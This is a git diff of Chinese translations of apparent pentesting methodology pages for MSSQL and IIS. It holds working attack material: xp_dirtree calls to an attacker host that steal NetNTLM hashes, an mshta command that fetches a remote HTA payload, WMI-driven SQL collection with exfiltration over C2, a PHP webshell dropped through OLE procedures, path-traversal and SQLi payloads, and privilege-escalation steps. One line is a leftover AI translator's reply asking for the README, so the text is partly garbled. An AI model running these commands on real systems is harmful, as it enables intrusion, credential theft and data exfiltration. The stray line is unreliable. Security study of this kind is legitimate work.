> 请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins)可以使用 **`xp_cmdshell`**:
|
||||
> 注意:要能够执行命令,不仅需要 **`xp_cmdshell`** **启用**,还需要对 **`xp_cmdshell` 存储过程具有 EXECUTE 权限**。你可以用以下命令找出谁(系统管理员除外)可以使用 **`xp_cmdshell`**:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### 基于 WMI 的远程 SQL 收集 (sqlcmd + CSV 导出)
|
||||
|
||||
操作者可以利用 WMI 从 IIS/应用层 转向 SQL 服务器,执行一个小的批处理脚本,该脚本对 MSSQL 进行身份验证并运行临时查询,结果导出为 CSV。这样收集过程保持简洁,并与管理员的日常活动相融合。
|
||||
|
||||
示例 mssq.bat
|
||||
```bat
|
||||
@echo off
|
||||
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
|
||||
set S=%1
|
||||
set U=%2
|
||||
set P=%3
|
||||
set Q=%4
|
||||
set O=%5
|
||||
rem Remove headers, trim trailing spaces, CSV separator = comma
|
||||
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
|
||||
```
|
||||
通过 WMI 远程调用它
|
||||
```cmd
|
||||
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
|
||||
```
|
||||
PowerShell 替代方案
|
||||
```powershell
|
||||
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
|
||||
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
|
||||
```
|
||||
注意事项
|
||||
- sqlcmd 可能缺失;可退回使用 osql、PowerShell 的 Invoke-Sqlcmd,或使用 System.Data.SqlClient 的 one‑liner。
|
||||
- 小心使用引号;较长/复杂的查询更方便通过文件提供,或通过 Base64‑encoded 参数在 batch/PowerShell stub 内解码后提供。
|
||||
- Exfil CSV via SMB (e.g., copy from \\SQLHOST\C$\Windows\Temp) or compress and move through your C2.
|
||||
|
||||
|
||||
|
||||
### 获取哈希密码
|
||||
```bash
|
||||
SELECT * FROM master.sys.syslogins;
|
||||
```
|
||||
### Steal NetNTLM hash / Relay attack
|
||||
### 窃取 NetNTLM hash / Relay attack
|
||||
|
||||
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希(例如 `impacket-smbserver` 或 `responder`)。
|
||||
你应该启动一个 **SMB server** 来捕获在身份验证中使用的 hash(例如 `impacket-smbserver` 或 `responder`)。
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
> [!WARNING]
|
||||
> 您可以检查除了 sysadmins 之外,谁有权限运行这些 MSSQL 函数:
|
||||
> 你可以检查除了 sysadmins 之外谁有权限运行这些 MSSQL 函数:
|
||||
>
|
||||
> ```sql
|
||||
> Use master;
|
||||
@ -274,8 +306,8 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
> EXEC sp_helprotect 'xp_fileexist';
|
||||
> ```
|
||||
|
||||
使用工具如 **responder** 或 **Inveigh** 可以 **窃取 NetNTLM 哈希**。\
|
||||
您可以查看如何使用这些工具:
|
||||
使用诸如 **responder** 或 **Inveigh** 的工具可以 **窃取 NetNTLM hash**。\
|
||||
你可以在以下内容中查看如何使用这些工具:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -283,15 +315,16 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
|
||||
### 滥用 MSSQL 受信任链接
|
||||
|
||||
[**阅读此帖子**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **以获取有关如何滥用此功能的更多信息:**
|
||||
[**阅读此文章**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **以获取有关如何滥用此功能的更多信息:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### **写入文件**
|
||||
### **写文件**
|
||||
|
||||
要使用 `MSSQL` 写入文件,我们 **需要启用** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option),这需要管理员权限,然后执行一些存储过程来创建文件:
|
||||
要使用 `MSSQL` 写入文件,我们**需要启用**[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option),这需要管理员权限,然后执行一些存储过程来创建文件:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -309,9 +342,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
||||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **使用** OPENROWSET **读取文件**
|
||||
### **使用 OPENROWSET 读取文件**
|
||||
|
||||
默认情况下,`MSSQL` 允许对**账户具有读取权限的操作系统中的任何文件进行读取**。我们可以使用以下 SQL 查询:
|
||||
默认情况下,`MSSQL` 允许对操作系统中该账户具有读取权限的任何文件进行**读取**。我们可以使用以下 SQL 查询:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -320,19 +353,19 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### 基于错误的SQLi向量:
|
||||
#### 基于错误的 SQLi 向量:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/读取文件执行脚本(Python 和 R)**
|
||||
### **RCE/通过执行脚本读取文件 (Python and R)**
|
||||
|
||||
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **与使用 **xp_cmdshell** 执行命令的用户不同的用户** 执行。
|
||||
MSSQL 可能允许你执行 **scripts in Python and/or R**。这些代码将由一个不同于使用 **xp_cmdshell** 来执行命令的 **不同的用户** 来执行。
|
||||
|
||||
尝试执行 **'R'** _"Hellow World!"_ **不工作**:
|
||||
Example trying to execute a **'R'** _"Hellow World!"_ **not working**:
|
||||
|
||||
.png>)
|
||||
|
||||
使用配置的 Python 执行多个操作的示例:
|
||||
Example using configured python to perform several actions:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -348,9 +381,9 @@ GO
|
||||
```
|
||||
### 读取注册表
|
||||
|
||||
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** 进行交互:**
|
||||
Microsoft SQL Server 提供了 **多个扩展存储过程**,它们允许你不仅与网络交互,还可以与文件系统甚至 [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **常规** | **实例感知** |
|
||||
| **常规** | **实例感知** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
@ -371,21 +404,21 @@ Use master;
|
||||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
对于**更多示例**,请查看[**原始来源**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)。
|
||||
有关**更多示例**,请查看[**原始来源**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)。
|
||||
|
||||
### 使用 MSSQL 用户定义函数进行 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE 使用 MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
可以**在 MSSQL 中通过自定义函数加载 .NET dll**。但是,这**需要 `dbo` 访问权限**,因此您需要以 **`sa` 或管理员角色** 连接到数据库。
|
||||
可以**在 MSSQL 中使用自定义函数加载 .NET dll**。不过,这**需要 `dbo` 访问**,所以你需要以 **`sa` 或 Administrator 角色** 的身份连接到数据库。
|
||||
|
||||
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 查看示例。
|
||||
[**请参见此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 以查看示例。
|
||||
|
||||
### 使用 `autoadmin_task_agents` 进行 RCE
|
||||
### RCE with `autoadmin_task_agents`
|
||||
|
||||
根据[ **这篇文章**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp),也可以加载远程 dll 并使 MSSQL 执行它,方法如下:
|
||||
根据[**这篇文章**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp),也可以加载远程 dll 并让 MSSQL 执行它,类似于:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
请提供需要翻译的内容。
|
||||
请把要翻译的 README.md 内容粘贴到消息中,或确认我应直接从 src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md 读取并翻译。
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -435,15 +468,15 @@ public void Test()
|
||||
}
|
||||
}
|
||||
```
|
||||
### 其他 RCE 方法
|
||||
### 其他用于 RCE 的方法
|
||||
|
||||
还有其他方法可以获取命令执行,例如添加 [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) 和 [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
|
||||
还有其他方法可以获得命令执行,例如添加 [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) 和 [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
|
||||
|
||||
## MSSQL 权限提升
|
||||
|
||||
### 从 db_owner 到 sysadmin
|
||||
|
||||
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**)执行。
|
||||
如果一个**普通用户**被授予对**由 admin 用户拥有的数据库**的 **`db_owner`** 角色(例如 **`sa`**),并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限来进行 **privesc**,因为在该数据库中创建的 **stored procedures** 可以以所有者(**admin**)的身份 **execute**。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -477,11 +510,11 @@ EXEC sp_elevate_me
|
||||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
您可以使用一个 **metasploit** 模块:
|
||||
你可以使用一个 **metasploit** 模块:
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
或一个 **PS** 脚本:
|
||||
或者一个 **PS** 脚本:
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
@ -489,7 +522,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
||||
```
|
||||
### 冒充其他用户
|
||||
|
||||
SQL Server 有一个特殊权限,名为 **`IMPERSONATE`**,它 **允许执行用户获取另一个用户或登录的权限**,直到上下文被重置或会话结束。
|
||||
SQL Server 有一个特殊权限,名为 **`IMPERSONATE`**,它 **使执行用户在上下文被重置或会话结束之前获得另一个用户或 login 的权限**。
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -510,9 +543,9 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!TIP]
|
||||
> 如果您可以冒充一个用户,即使他不是 sysadmin,您应该检查该用户是否可以访问其他数据库或链接服务器。
|
||||
> 如果你可以 impersonate a user,即使他不是 sysadmin,你也应该检查 i**该 user 是否有权访问** 其他 **databases** 或 linked servers。
|
||||
|
||||
请注意,一旦您成为 sysadmin,您可以冒充任何其他用户:
|
||||
注意,一旦你成为 sysadmin,你就可以 impersonate 任何其他人:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -522,7 +555,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
您可以使用 **metasploit** 模块执行此攻击:
|
||||
你可以使用一个 **metasploit** 模块执行此攻击:
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
@ -536,33 +569,34 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## 从 SQL Server 连接服务器提取密码
|
||||
## Extracting passwords from SQL Server Linked Servers
|
||||
|
||||
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而授予攻击者可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract_linked_server_passwords) 找到。
|
||||
攻击者可以从 SQL 实例中提取 SQL Server Linked Servers 的密码并以明文获取它们,从而使攻击者获得可用于在目标上取得更大立足点的凭据。用于提取并解密为 Linked Servers 存储的密码的脚本可以在 [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。
|
||||
要使此利用生效,需要满足一些要求并进行相应配置。首先,你必须在机器上拥有 Administrator rights,或具备管理 SQL Server Configurations 的能力。
|
||||
|
||||
在验证您的权限后,您需要配置以下三项内容:
|
||||
在验证权限后,需要配置以下三项:
|
||||
|
||||
1. 在 SQL Server 实例上启用 TCP/IP;
|
||||
2. 添加启动参数,在这种情况下,将添加一个跟踪标志,即 -T7806。
|
||||
3. 启用远程管理员连接。
|
||||
2. 添加一个 Start Up parameter,在本例中将添加一个 trace flag,即 -T7806。
|
||||
3. 启用 remote admin connection。
|
||||
|
||||
为了自动化这些配置,[这个仓库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。除了为每个配置步骤提供 PowerShell 脚本外,该仓库还包含一个完整的脚本,结合了配置脚本以及密码的提取和解密。
|
||||
要自动化这些配置,[this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) 包含所需脚本。除了为配置的每一步提供 powershell 脚本外,该仓库还包含一个将配置脚本与密码的提取和解密结合在一起的完整脚本。
|
||||
|
||||
有关此攻击的更多信息,请参阅以下链接:[解密 MSSQL 数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
有关此攻击的更多信息,请参阅以下链接: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[排除 SQL Server 专用管理员连接故障](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## 本地权限提升
|
||||
|
||||
运行 MSSQL 服务器的用户将启用特权令牌 **SeImpersonatePrivilege.**\
|
||||
您可能能够通过以下两个页面之一 **提升到管理员**:
|
||||
运行 MSSQL server 的用户会启用权限令牌 **SeImpersonatePrivilege.**
|
||||
你很可能可以通过以下两种方法之一 **escalate to Administrator**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
|
||||
{{#endref}}
|
||||
@ -571,7 +605,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
- `port:1433 !HTTP`
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
|
||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
|
@ -9,14 +9,14 @@
|
||||
- config
|
||||
- php
|
||||
|
||||
## 内部IP地址泄露
|
||||
## 内部 IP 地址泄露
|
||||
|
||||
在任何返回302的IIS服务器上,您可以尝试去掉Host头并使用HTTP/1.0,响应中的Location头可能会指向内部IP地址:
|
||||
在任何返回 302 的 IIS 服务器上,你可以尝试去掉 Host header 并使用 HTTP/1.0,在响应中 Location 头可能会指向内部 IP 地址:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
```
|
||||
响应披露内部IP:
|
||||
响应披露内部 IP:
|
||||
```
|
||||
GET / HTTP/1.0
|
||||
|
||||
@ -29,11 +29,11 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## 执行 .config 文件
|
||||
|
||||
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码:[在这里下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
你可以上传 .config 文件并用它们来执行代码。一种方法是将代码作为 HTML 注释追加到文件末尾: [在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
有关利用此漏洞的更多信息和技术 [在这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
更多关于利用此漏洞的信息和技术见 [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## IIS 发现暴力破解
|
||||
## IIS Discovery Bruteforce
|
||||
|
||||
下载我创建的列表:
|
||||
|
||||
@ -41,7 +41,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
它是通过合并以下列表的内容创建的:
|
||||
它是合并以下列表内容后创建的:
|
||||
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||||
@ -50,63 +50,63 @@ iisfinal.txt
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
使用时不要添加任何扩展名,所需的文件已经包含它。
|
||||
使用时不要添加任何扩展名,需要扩展名的文件已经包含在列表中。
|
||||
|
||||
## 路径遍历
|
||||
## Path Traversal
|
||||
|
||||
### 泄露源代码
|
||||
### Leaking source code
|
||||
|
||||
查看完整的写作在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
查看完整写解在: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> 总结来说,应用程序的文件夹中有多个 web.config 文件,里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\
|
||||
> 从 **下载的 Dlls** 中,还可以找到 **新的 namespaces**,您应该尝试访问并获取 web.config 文件,以便找到新的 namespaces 和 assemblyIdentity。\
|
||||
> 此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。
|
||||
> [!TIP]
|
||||
> 总结来说,应用程序各文件夹中存在多个 web.config 文件,其中引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息可以知道 **可执行文件位于何处** 并下载它们。\
|
||||
> 从 **下载的 Dlls** 中也可以找到 **新的 namespaces**,你可以尝试访问这些位置并获取 web.config 文件以便发现更多 namespaces 和 assemblyIdentity。\
|
||||
> 此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有价值的信息。
|
||||
|
||||
在 **.Net MVC 应用程序** 中,**web.config** 文件通过 **"assemblyIdentity"** XML 标签指定应用程序所依赖的每个二进制文件,发挥着至关重要的作用。
|
||||
在 **.Net MVC applications** 中,**web.config** 文件起着关键作用,通过 **"assemblyIdentity"** XML 标记指定应用程序所依赖的每个二进制文件。
|
||||
|
||||
### **探索二进制文件**
|
||||
|
||||
访问 **web.config** 文件的示例如下:
|
||||
下面展示了访问 **web.config** 文件的示例:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
此请求揭示了各种设置和依赖项,例如:
|
||||
该请求暴露了多种设置和依赖项,例如:
|
||||
|
||||
- **EntityFramework** 版本
|
||||
- **AppSettings** 用于网页、客户端验证和 JavaScript
|
||||
- **System.web** 认证和运行时的配置
|
||||
- **System.webServer** 模块设置
|
||||
- **Runtime** 程序集绑定,适用于多个库,如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc**
|
||||
- **AppSettings**(用于 webpages、client validation 和 JavaScript)
|
||||
- **System.web** 关于 authentication 和 runtime 的配置
|
||||
- **System.webServer** 的 modules 设置
|
||||
- **Runtime** 的程序集绑定,涉及诸如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc** 等库
|
||||
|
||||
这些设置表明某些文件,例如 **/bin/WebGrease.dll**,位于应用程序的 /bin 文件夹内。
|
||||
这些设置表明某些文件(例如 **/bin/WebGrease.dll**)位于应用程序的 /bin 文件夹中。
|
||||
|
||||
### **根目录文件**
|
||||
|
||||
在根目录中找到的文件,如 **/global.asax** 和 **/connectionstrings.config**(包含敏感密码),对于应用程序的配置和操作至关重要。
|
||||
位于根目录的文件,例如 **/global.asax** 和 **/connectionstrings.config**(包含敏感密码),对应用程序的配置和运行至关重要。
|
||||
|
||||
### **命名空间和 Web.Config**
|
||||
### **命名空间与 Web.Config**
|
||||
|
||||
MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**,以避免在每个文件中重复声明,如请求下载另一个 **web.config** 所示:
|
||||
MVC 应用还会为特定命名空间定义额外的 **web.config 文件**,以避免在每个文件中重复声明,正如请求下载另一个 **web.config** 所示:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **下载 DLLs**
|
||||
|
||||
提到自定义命名空间暗示在 /bin 目录中存在一个名为 "**WebApplication1**" 的 DLL。接下来,显示了下载 **WebApplication1.dll** 的请求:
|
||||
提到的自定义命名空间暗示在 /bin 目录中存在名为 "**WebApplication1**" 的 DLL。随后显示了下载 **WebApplication1.dll** 的请求:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
这表明在 /bin 目录中存在其他重要的 DLL,例如 **System.Web.Mvc.dll** 和 **System.Web.Optimization.dll**。
|
||||
这表明在 /bin 目录中还存在其他必要的 DLL,例如 **System.Web.Mvc.dll** 和 **System.Web.Optimization.dll**。
|
||||
|
||||
在一个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能会推断出在可预测路径中存在其他 web.config 文件,例如 **/area-name/Views/**,其中包含特定的配置和对 /bin 文件夹中其他 DLL 的引用。例如,对 **/Minded/Views/web.config** 的请求可以揭示配置和命名空间,指示另一个 DLL **WebApplication1.AdditionalFeatures.dll** 的存在。
|
||||
